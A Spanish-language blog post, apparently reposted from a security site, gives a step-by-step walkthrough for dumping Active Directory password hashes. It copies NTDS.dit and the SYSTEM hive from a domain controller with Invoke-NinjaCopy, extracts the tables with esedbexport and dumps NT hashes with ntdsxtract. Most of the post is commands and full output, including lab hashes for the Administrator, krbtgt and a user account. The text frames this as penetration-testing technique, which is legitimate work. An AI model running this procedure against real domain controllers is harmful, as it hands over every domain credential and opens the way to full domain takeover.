Normalmente uno de los objetivos en un test de intrusión es conseguir acceso al Controlador de Dominio y volcar todos los hashes de los usuarios del AD. Hay varias herramientas que facilitan mucho este labor como smart_hashdump de Meterpreter o secretsdump.py de Impacket pero, ocasionalmente, podemos necesitar hacer copia del archivo NTDS.dit y extraer manualmente la información de forma offline, por ejemplo cuando son muchos usuarios y queremos hacer un ataque de fuerza bruta contra muchos hashes.
En esta entrada veremos todo el proceso desde la obtención del fichero ntds.dit y de la rama del registro System (registry hive), hasta la obtención de los hashes y su posterior obtención en claro.
Adquiriendo los ficheros ntds.dit y la rama del registro system
Los datos del Directorio Activo (incluyendo los hashes de las contraseñas) están almacenados en el fichero de base de datos NTDS.dit. El formato es ESE (Extensible Storage Engine) y está basado en la base de datos Jet que se usaba en Exchange 5.5 y WINS. Por defecto, encontrarás una copia de este fichero dentro del controlador de dominio en el directorio %SystemRoot%\NTDS\Ntds.dit conteniendo los valores del dominio y una réplica de los valores del bosque (el contenedor de datos del Configurador). También está %SystemRoot%\System32\Ntds.dit que es la copia de distribución del directorio predeterminado que se utiliza cuando se promociona un servidor con Windows 2000 a un controlador de dominio.
Evidentemente no podremos copiar directamente ninguno de estos ficheros porque están en uso por el servidor. Tendremos que recurrir a otras opciones como VSS (Volume Shadow Copies), WMIC, NTDSUtil, snapshots (si son VM) o, como en nuestro caso, usar el módulo Invoke-NinjaCopy de PowerSploit (https://github.com/PowerShellMafia/PowerSploit):
. .\Invoke-NinjaCopy Invoke-NinjaCopy -path "c:\your\path\ntds\ntds.dit" -localdestination "c:\temp\ntds.dit" Invoke-NinjaCopy -path "c:\windows\system32\config\SYSTEM" -localdestination "c:\temp\SYSTEM"
Extracción de las tablas del ntds.dis
Una vez obtenidos ambos ficheros, el siguiente paso es extraer las tablas del archivo NTDS.dit utilizando esedbexport, que es parte de libesedb.
Clonamos el repositorio:
$ git clone https://github.com/libyal/libesedb
Instalamos las dependencias:
$ sudo apt-get install autoconf automake autopoint libtool pkg-config
E instalamos (configure, make e install):
$ ./configure
$ make
$ sudo make install
$ sudo ldconfig
Si todo ha ido bien, debemos tener la herramienta de exportación disponible en /usr/local/bin/esedbexport.
Para extraer las tablas simplemente tenemos que ejecutar:
$ esedbexport -m tables ntdis.dit
esedbexport 20171128 Opening file. Exporting table 1 (MSysObjects) out of 12. Exporting table 2 (MSysObjectsShadow) out of 12. Exporting table 3 (MSysUnicodeFixupVer2) out of 12. Exporting table 4 (datatable) out of 12. Exporting table 5 (hiddentable) out of 12. Exporting table 6 (link_table) out of 12. Exporting table 7 (sdpropcounttable) out of 12. Exporting table 8 (sdproptable) out of 12. Exporting table 9 (sd_table) out of 12. Exporting table 10 (MSysDefrag2) out of 12. Exporting table 11 (quota_table) out of 12. Exporting table 12 (quota_rebuild_progress_table) out of 12. Export completed.
El proceso para un dominio de tamaño medio suele ser de 20 a 30 minutos. Del resultado, las dos tablas importantes son datatable y link_table y ambas estarán en ./ntds.dit.export/.
Obtención de los hashes de las contraseñas de los usuarios
Una vez extraídas las tablas, hay un conjunto de herramientas en Python que se puede usar para interactuar con los datos: ntdsxtract.
Clonamos el repositorio:
$ git clone https://github.com/csababarta/ntdsxtract.git
$ cd ntdsxtract/
Y luego podemos usar directamente los scripts o, si lo preferimos, instalarlo:
$ python setup.py build && python setup.py install
Lo que haremos a continuación es volcar la información del usuario y los hashes NT/LM desde las tablas extraídas. Para ello usaremos el script dsusers.py de ntdxtract que requiere:
- datatable
- link_table
- system hive
La sintaxis es:
$ dsusers.py <datatable> <link_table> <output_dir> --syshive <systemhive> --passwordhashes <format options>
El formato de salida de los passwords será de john para su posterior crackeo:
$ python ntdsxtract/dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 extract/ --lmoutfile LM.out --ntoutfile NT.out --passwordhashes --pwdformat john --syshive system.bin
[+] Started at: Sun, 17 Dec 2017 01:18:57 UTC [+] Started with options: [-] LM hash output filename: LM.out [-] NT hash output filename: NT.out [-] Extracting password hashes [-] Hash output format: john The directory (/home/test/extract) specified does not exists! Would you like to create it? [Y/N] Y [+] Initialising engine... [+] Loading saved map files (Stage 1)... [!] Warning: Opening saved maps failed: [Errno 2] No such file or directory: '/home/test/extract/offlid.map' [+] Rebuilding maps... [+] Scanning database - 100% -> 3464 records processed [+] Sanity checks... Schema record id: 1811 Schema type id: 10 [+] Extracting schema information - 100% -> 1549 records processed [+] Loading saved map files (Stage 2)... [!] Warning: Opening saved maps failed: [Errno 2] No such file or directory: '/home/test/extract/links.map' [+] Rebuilding maps... [+] Extracting object links... List of users: ============== Record ID: 3562 User name: Administrator User principal name: SAM Account name: Administrator SAM Account type: SAM_NORMAL_USER_ACCOUNT GUID: 5f9433a8-7363-4f5e-8d3c-4a4dacca157c SID: S-1-5-21-1036816736-4081296861-1938768537-500 When created: 2016-07-19 23:33:08+00:00 When changed: 2017-07-21 14:39:07+00:00 Account expires: Never Password last set: 2017-07-21 14:39:07.354826+00:00 Last logon: 2017-07-21 14:48:56.134512+00:00 Last logon timestamp: 2017-07-21 13:52:48.669583+00:00 Bad password time 2017-07-21 13:52:19.684732+00:00 Logon count: 63 Bad password count: 0 Dial-In access perm: Controlled by policy User Account Control: NORMAL_ACCOUNT Ancestors: $ROOT_OBJECT$, local, mrb3n, Users, Administrator Password hashes: Administrator:$NT$4fe0f244d7e64ebd13ba2489c05e6435:S-1-5-21-1036816736-4081296861-1938768537-500:: Record ID: 3563 User name: Guest User principal name: SAM Account name: Guest SAM Account type: SAM_NORMAL_USER_ACCOUNT GUID: 2bf50d7e-79e6-4aab-a81c-15447a1b6f7e SID: S-1-5-21-1036816736-4081296861-1938768537-501 When created: 2016-07-19 23:33:08+00:00 When changed: 2016-07-19 23:33:08+00:00 Account expires: Never Password last set: Never Last logon: Never Last logon timestamp: Never Bad password time 2016-11-25 22:46:55.531557+00:00 Logon count: 0 Bad password count: 1 Dial-In access perm: Controlled by policy User Account Control: ACCOUNTDISABLE PWD_NOTREQD NORMAL_ACCOUNT DONT_EXPIRE_PASSWORD Ancestors: $ROOT_OBJECT$, local, mrb3n, Users, Guest Password hashes: Record ID: 3609 User name: krbtgt User principal name: SAM Account name: krbtgt SAM Account type: SAM_NORMAL_USER_ACCOUNT GUID: ce21ca0e-4f4d-49c9-9942-40b0d6ae913d SID: S-1-5-21-1036816736-4081296861-1938768537-502 When created: 2016-07-19 23:34:47+00:00 When changed: 2017-07-21 13:57:55+00:00 Account expires: Never Password last set: 2017-07-21 13:57:55.522122+00:00 Last logon: Never Last logon timestamp: Never Bad password time Never Logon count: 0 Bad password count: 0 Dial-In access perm: Controlled by policy User Account Control: ACCOUNTDISABLE NORMAL_ACCOUNT Ancestors: $ROOT_OBJECT$, local, mrb3n, Users, krbtgt Password hashes: krbtgt:$NT$c28fbb9dfcb526a1cce5db4988298bde:S-1-5-21-1036816736-4081296861-1938768537-502:: Record ID: 3776 User name: usuario User principal name: SAM Account name: usuario SAM Account type: SAM_NORMAL_USER_ACCOUNT GUID: fcf6f550-6d74-434e-a2c0-c6b1e688cb6e SID: S-1-5-21-1036816736-4081296861-1938768537-1108 When created: 2017-07-21 14:00:11+00:00 When changed: 2017-07-21 14:14:31+00:00 Account expires: Never Password last set: 2017-07-21 14:00:11.179960+00:00 Last logon: 2017-07-21 14:15:27.213569+00:00 Last logon timestamp: 2017-07-21 14:14:31.615071+00:00 Bad password time Never Logon count: 2 Bad password count: 0 Dial-In access perm: Controlled by policy User Account Control: NORMAL_ACCOUNT Ancestors: $ROOT_OBJECT$, local, mrb3n, Users, usuario Password hashes: usuario:$NT$8c3efc486704d2ee71eebe71af14d86c:S-1-5-21-1036816736-4081296861-1938768537-1108::
Cómo veis, hemos obtenido los hashes de 3 de los 4 usuarios del dominio de prueba. Podéis verlos recopilados en el fichero:
$ cat extract/NT.out
Administrator:$NT$4fe0f244d7e64ebd13ba2489c05e6435:S-1-5-21-1036816736-4081296861-1938768537-500:: krbtgt:$NT$c28fbb9dfcb526a1cce5db4988298bde:S-1-5-21-1036816736-4081296861-1938768537-502:: usuario:$NT$8c3efc486704d2ee71eebe71af14d86c:S-1-5-21-1036816736-4081296861-1938768537-1108::
Por último ni siquiera nos hará falta crackear el hash del usuario... un búsqueda rápida en Internet nos desvelará una contraseña predecible: Password1234.
___________________________________________________
Tomado de: http://www.hackplayers.com/2017/12/extrayendo-los-hashes-mediante-ntds.dit.html
Se Respetan Derechos de Autor.